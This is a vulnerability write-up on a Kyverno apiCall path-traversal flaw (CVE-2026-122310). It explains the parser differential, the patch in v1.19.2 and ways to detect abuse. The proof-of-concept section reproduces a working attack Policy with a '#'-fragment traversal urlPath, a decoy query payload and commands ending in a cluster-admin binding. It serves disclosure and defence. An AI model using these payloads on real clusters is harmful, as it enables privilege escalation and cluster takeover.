Introduction
A namespace tenant who can write a Kyverno Policy in their own namespace should never be able to touch cluster-scoped objects, yet that is exactly what CVE-2026-122310 permits. By hiding directory traversal behind a URL fragment or query separator, a tenant turns Kyverno's admission controller into a confused deputy that writes a cluster-scoped MutatingWebhookConfiguration on their behalf, and the maintainer advisory walks that primitive all the way to cluster administrator.
Kyverno is a CNCF Kubernetes native policy engine for defining, managing and enforcing policy as code. Nirmata created it, contributed it to CNCF in 2020, and it graduated on March 24, 2026, growing from 574 to more than 9,000 GitHub stars. Because it mutates and generates both namespaced and cluster-scoped resources, its controller holds an identity far more powerful than any single tenant.
Technical Information
The vulnerability is a parser differential, classified as CWE-436 Interpretation Conflict. Two parts of Kyverno read the same urlPath string differently, and the gap between those two readings is the whole bug.
The entry point is a namespaced Policy's context.apiCall.urlPath. In Fetch() inside pkg/engine/apicall/apiCall.go, Kyverno URL decodes the value and applies path.Clean to the entire string, then matches a namespace regex against that cleaned representation:
unescapedPath, err := url.PathUnescape(call.APICall.URLPath) ... cleanPath := path.Clean(unescapedPath) ... data, err := a.Execute(ctx, &call.APICall)
Execution hands the unmodified call.APICall.URLPath to the Kubernetes client via executeK8sAPICall and client.RawAbsPath. The client runs the string through url.Parse and keeps only .Path. path.Clean treats # and ? as ordinary characters and resolves any ../ segments placed after them, while url.Parse discards everything after those separators. So the namespace check and the actual HTTP request look at different paths.
An attacker places traversal segments after a # or ?. The validator walks them and lands on a compliant namespace, while the executor never sees the suffix and reaches the cluster-scoped endpoint before the separator. This is an incomplete fix of the earlier advisory GHSA-5qq8-67g6-4h2w; the v1.19.1 patch closed only the %2e%2e and ..%2f encoding vectors, not the fragment and query disagreement.
Attack flow
- An authenticated namespace-scoped user holds
createonpolicies.kyverno.ioin their own namespace, plus permission to create a resource the Policy matches, such as a ConfigMap, to trigger admission and fire the apiCall. - The tenant creates a namespaced Policy whose
context.apiCallPOSTs a cluster-scoped MutatingWebhookConfiguration, hiding the traversal behind a#fragment so validation sees the tenant namespace but execution hits the cluster endpoint. - Creating the matching ConfigMap triggers admission processing. The controller executes the apiCall using its own ServiceAccount, creating the cluster-scoped object the tenant could not create directly.
- The tenant uses the same primitive to install a webhook affecting ClusterRoleBinding creation. When a privileged actor later creates a binding, the webhook appends the tenant ServiceAccount as a subject, producing cluster administrator access. This final step depends on subsequent privileged cluster activity, not a tenant permission to create a ClusterRoleBinding directly.
Proof of Concept
A complete, maintainer-published proof of concept exists in advisory GHSA-3xfv-vq8x-qhg4, which NVD and VulnCheck both map to CVE-2026-122310. The advisory marks the exploit as Verified live against kind v0.32.0 (Kubernetes v1.34.0) with Kyverno v1.19.1 installed from the unmodified kyverno/kyverno Helm chart 3.9.1, credited to Artem Cherezov (cherez0ff). This PoC was reviewed from the published advisory, not independently executed.
The environment setup, abridged from the advisory, provisions a tenant with exactly the preconditions described above:
kind create cluster --image kindest/node:v1.34.0 --name kyverno-poc --kubeconfig ./kubeconfig export KUBECONFIG=./kubeconfig helm repo add kyverno https://kyverno.github.io/kyverno/ helm upgrade --install kyverno kyverno/kyverno --version 3.9.1 --namespace kyverno --create-namespace --wait --timeout=12m kubectl create namespace tenant-ns kubectl -n tenant-ns create serviceaccount tenant-sa kubectl -n tenant-ns create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-ns:tenant-sa kubectl -n tenant-ns create role tenant-policy --verb=create,get --resource=policies.kyverno.io kubectl -n tenant-ns create rolebinding tenant-policy --role=tenant-policy --serviceaccount=tenant-ns:tenant-sa
A tenant kubeconfig is then minted from a 24h token with kubectl -n tenant-ns create token tenant-sa --duration=24h.
The core primitive is a cluster-scoped write performed as the Kyverno ServiceAccount. The tenant creates a namespaced Policy whose context.apiCall POSTs a cluster-scoped MutatingWebhookConfiguration, hiding the traversal behind a # fragment so validation sees tenant-ns but execution hits the cluster endpoint:
apiVersion: kyverno.io/v1 kind: Policy metadata: name: mwc-write-attack namespace: tenant-ns spec: validationFailureAction: Enforce background: false rules: - name: write-mwc match: any: - resources: kinds: - ConfigMap context: - name: pwn apiCall: method: POST urlPath: "/apis/admissionregistration.k8s.io/v1/mutatingwebhookconfigurations#/../../apis/x/v1/namespaces/tenant-ns" data: - key: apiVersion value: admissionregistration.k8s.io/v1 - key: kind value: MutatingWebhookConfiguration - key: metadata value: name: pwned-by-tenant - key: webhooks value: [] validate: message: "CONFUSED_DEPUTY_WROTE={{ pwn.metadata.name }} uid={{ pwn.metadata.uid }}" deny: {}
Referencing {{ pwn.metadata.uid }} forces context loading (default enableDeferredLoading=true) and echoes the created object back via the denial message. Triggering admission confirms the write:
sleep 10 kubectl --kubeconfig=./kubeconfig-tenant create configmap trigger --from-literal=x=y # admission webhook denied: write-mwc: CONFUSED_DEPUTY_WROTE=pwned-by-tenant uid=<per-run uid> kubectl get mutatingwebhookconfiguration pwned-by-tenant -o jsonpath='{.metadata.uid}{"\n"}' # <same uid> -> cluster-scoped object now exists
The Kyverno admission-controller ServiceAccount can create webhook configurations cluster-wide but has only get,list,watch on RBAC, so the advisory walks the primitive to full admin through a tenant-controlled confused-deputy webhook:
- The tenant deploys its own TLS-serving admission webhook in
tenant-ns(a small Pythonhttp.serverthat returns an AdmissionReview with a JSONPatchaddto/subjects/-injecting ServiceAccounttenant-ns/tenant-sa). - Using the same
#-fragment bypass, it registers a cluster-scoped MutatingWebhookConfiguration (crb-hijack) matchingclusterrolebindings(scope Cluster) and pointing at the attacker webhook (caBundle = base64 of its cert). - On the next ClusterRoleBinding any privileged actor creates, the webhook appends
tenant-saas a subject. tenant-sais now effectively cluster admin and can create its own binding:kubectl --kubeconfig=./kubeconfig-tenant create clusterrolebinding tenant-proof --clusterrole=cluster-admin --serviceaccount=tenant-ns:tenant-sa.
The advisory includes the full webhook server.py, the attacker Deployment and Service manifests, and the register-hijack-webhook Policy.
Patch Information
The fix shipped in Kyverno v1.19.2, published October 20, 2026. NVD maps CVE-2026-122310 to advisory GHSA-3xfv-vq8x-qhg4, and both list 1.19.2 as the first unaffected version. The v1.19.2 release notes place this advisory under 'API path validation and namespace confinement (Critical)' and link PRs #17984 and #18021. The main fix is in PR #17984, merged October 13, 2026.
The principle is simple: validate the same string you execute. In v1.19.1, Fetch() checked a cleaned copy of the string, then passed the original string to the executor. The patch removes the second reading. The string is parsed once, normalized once, and that normalized value is checked and then written back over the field the executor reads:
if call.APICall.URLPath != "" { canonicalPath, validationPath, err := canonicalizeURLPath(call.APICall.URLPath) if err != nil { return nil, fmt.Errorf("invalid urlPath for context entry %s: %w", a.entry.Name, err) } ... // Execute the exact same canonical path that was just validated - // validation and execution must never diverge on representation. call.APICall.URLPath = canonicalPath }
The new canonicalizer lives in pkg/engine/apicall/path.go:
parsed, err := url.Parse(raw) ... if parsed.IsAbs() || parsed.Host != "" || parsed.User != nil { return "", "", fmt.Errorf("urlPath %q must be a relative Kubernetes API path, not an absolute URL", raw) } if parsed.Fragment != "" || parsed.RawFragment != "" { return "", "", fmt.Errorf("urlPath %q must not contain a fragment", raw) } ... cleaned := path.Clean(parsed.Path) ... parsed.Path = cleaned parsed.RawPath = "" ... return parsed.RequestURI(), cleaned, nil
What each step does:
- One URL parser everywhere. Kyverno now uses
url.Parse, the same parser client-go uses, so#and?split the string identically at validation and execution.url.Parsealso decodes percent-encoding into.Path, so the%2e%2eand..%2fprotection from v1.19.1 still holds without a separatePathUnescapecall. - No absolute URLs. Any scheme, host or userinfo is rejected, so
urlPathcan only be a path on the API server. - No fragments at all. Any
#now causes an error, blocking the...#/../../...form outright. - Path and query are kept apart. The function returns
canonicalPath(cleaned path plus original query) for execution andvalidationPath(path only) for the namespace check. This also closes a decoy/namespaces/<ns>/placed inside a query value, such as?x=/namespaces/default/y, which used to satisfy the old unanchored regex.
Further hardening in the same area includes a namespaceObjectPathRegex (^/api/[^/]+/namespaces/[^/]+(/(status|finalize))?/?$) that rejects the cluster-scoped Namespace resource and its subresources for namespaced policies, an explicit else if a.policyNamespace != "" branch that intentionally blocks service calls, and anchored namespace matching in the tagged v1.19.2 apiCall.go:
var namespacePathRegexes = []*regexp.Regexp{ regexp.MustCompile(`^/api/[^/]+/namespaces/([^/]+)(?:/.*)?$`), regexp.MustCompile(`^/apis/[^/]+/[^/]+/namespaces/([^/]+)(?:/.*)?$`), }
These replace the loose ^/api(s)?/.*?/namespaces/([^/]+)/?.*$ regex, which would otherwise accept cluster-scoped paths such as /api/v1/nodes/<node>/proxy/namespaces/<ns>/.
The fix is verified by Test_URLPathCanonicalization, which uses a recordingClient that records the exact path passed to RawAbsPath. The tests confirm the fragment form fails, query-decoy cluster-scoped paths are rejected with no request sent, /api/v1/namespaces/default//pods/./foo/../bar is sent as /api/v1/namespaces/default/pods/bar, a legitimate ?labelSelector=app%3Dweb&limit=10 arrives unchanged, and ClusterPolicies (empty policy namespace) are unaffected. PR #17984 also adds a shared dclient.ValidatePathSegment check built on apimachinery's IsValidPathSegmentName. The PR description notes the legacy pkg/engine/apicall changes are backport-only and intentionally not forwarded to main, because legacy code is being removed in 1.20.0, so the apiCall fix lives on the 1.19 release line.
Detection Methods
No public Sigma, YARA, Suricata, Snort or Falco rule targets CVE-2026-122310, and no IoCs from real-world exploitation have been published. You can still detect this well, because the exploit must pass through Kubernetes objects and API calls you can inspect. There are four places to look: whether you run a vulnerable version, which namespaced policies contain a bad apiCall, what Kyverno's ServiceAccount writes, and what the cluster looks like after escalation.
Confirm exposure from the image that is actually running, not the chart version you think you installed:
kubectl get pods -n kyverno -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].image}{"\n"}{end}'
NVD lists 1.19.1 (before 1.19.2) as affected; the GitHub advisory gives the range as <= v1.19.1.
Hunt for malicious namespaced policies:
kubectl get policies.kyverno.io,cleanuppolicies.kyverno.io -A kubectl get namespacedmutatingpolicies,namespacedvalidatingpolicies,namespacedgeneratingpolicies,namespaceddeletingpolicies,namespacedimagevalidatingpolicies -A
For this CVE, the strongest sign is a namespaced Policy whose apiCall.urlPath contains # or ? followed by ../. A legitimate API path has no reason to traverse upward after a fragment or query separator. Check what comes before the separator too: if the path points at a cluster-scoped endpoint such as /apis/admissionregistration.k8s.io/v1/mutatingwebhookconfigurations or at another namespace, that is a strong sign of abuse. A related decoy pattern from the fix PR is a query value that only appears to keep the request in the tenant namespace, e.g. /apis/admissionregistration.k8s.io/v1/mutatingwebhookconfigurations?x=/namespaces/tenant-a/y. After upgrading, any policy whose apiCall suddenly fails because of a fragment deserves a look.
Measure who could have done it. The attack needs create on policies.kyverno.io in a namespace plus permission to create a matching resource:
kubectl auth can-i create policies.kyverno.io -n team-a --as=system:serviceaccount:team-a:deployer kubectl auth can-i create cleanuppolicies.kyverno.io -n team-a --as=system:serviceaccount:team-a:deployer
Watch Kubernetes audit logs for confused-deputy writes. In the reproduction, the cluster-scoped object is written by the admission controller's ServiceAccount, not the tenant. Look for that ServiceAccount creating or modifying mutatingwebhookconfigurations, validatingwebhookconfigurations or policyexceptions where the object is not one of Kyverno's own managed webhooks, and correlate in time: a tenant creates a Policy, then a matching ConfigMap in the same namespace, and shortly after Kyverno's ServiceAccount writes a cluster-scoped object.
Look for what happens after escalation: webhook configurations whose clientConfig.service points into a tenant namespace, webhooks that match RBAC resources, ClusterRoleBindings that gained unexpected ServiceAccount subjects, and a tenant ServiceAccount creating a ClusterRoleBinding to cluster-admin. Also watch kube-system and other sensitive namespaces for RoleBindings, webhook configurations and NetworkPolicies you did not create.
Names in the published reproduction, such as pwned-by-tenant, tenant-ns, tenant-sa, attacker-webhook and tenant-proof, are demo artifacts. Real attackers can choose any names, so treat them as test-lab markers, not reliable indicators. Look for the behavior instead: separator-hidden traversal in urlPath, and Kyverno's identity making cluster-scoped admission-control changes on a tenant's behalf.
Affected Systems and Versions
VulnCheck and NVD specify Kyverno 1.19.1 before 1.19.2 as affected, while the maintainer advisory lists versions through v1.19.1. Both identify 1.19.2 as the fixed boundary; the narrower CNA range does not establish that every older release is safe. Nirmata associates the 1.19.2 application release with Helm chart 3.9.2. The demonstrated attack requires an authenticated namespace-scoped user with create on policies.kyverno.io in their own namespace plus the ability to create a resource the Policy matches, so environments that delegate policy authoring to namespace tenants warrant particular attention.
Vendor Security History
Kyverno has a documented public security process. A November 28, 2023 independent audit by Ada Logics with maintainers and OSTIF, funded by CNCF, included threat modeling, manual code review, fuzzing evaluation and supply chain assessment against SLSA. Manual review identified 10 security issues, with six assigned CVEs; four findings concerned a Notary verifier that had not been publicly released, and one was in an upstream dependency fixed by Cosign maintainers. Maintainers addressed all audit issues, with fixes incorporated into 1.10.6 and 1.11.1. This CVE is directly tied to that history: it is an incomplete fix of the earlier apiCall advisory GHSA-5qq8-67g6-4h2w, which listed 1.19.1 as patched. Adding URL decoding closed the earlier encoded traversal forms but did not eliminate disagreement over fragment and query handling, which is why 1.19.2 was required. The 1.19.2 release summaries differ between sources: the official release notes report 24 advisories (9 Critical, 14 High, 1 Moderate), while Nirmata's analysis reports 26 advisories (11 Critical, 14 High, 1 Moderate). Both identify 1.19.2 as fixing this apiCall issue; the available excerpts do not explain the counting difference.
References
- NVD: CVE-2026-122310
- NVD API record for CVE-2026-122310
- Kyverno advisory GHSA-3xfv-vq8x-qhg4 (maintainer, includes PoC)
- VulnCheck advisory
- Earlier advisory GHSA-5qq8-67g6-4h2w
- Kyverno v1.19.2 release notes
- Kyverno v1.19.2 release (GitHub API)
- PR #17984 (issue view)
- PR #17984 changed files
- PR #17984 (fix discussion)
- Patched apiCall.go at v1.19.2
- Nirmata: Kyverno 1.19.2 Security Release
- Kyverno Security Guide
- CWE-436: Interpretation Conflict
- CNCF: Kyverno Graduation announcement
- Kyverno 2023 Security Audit



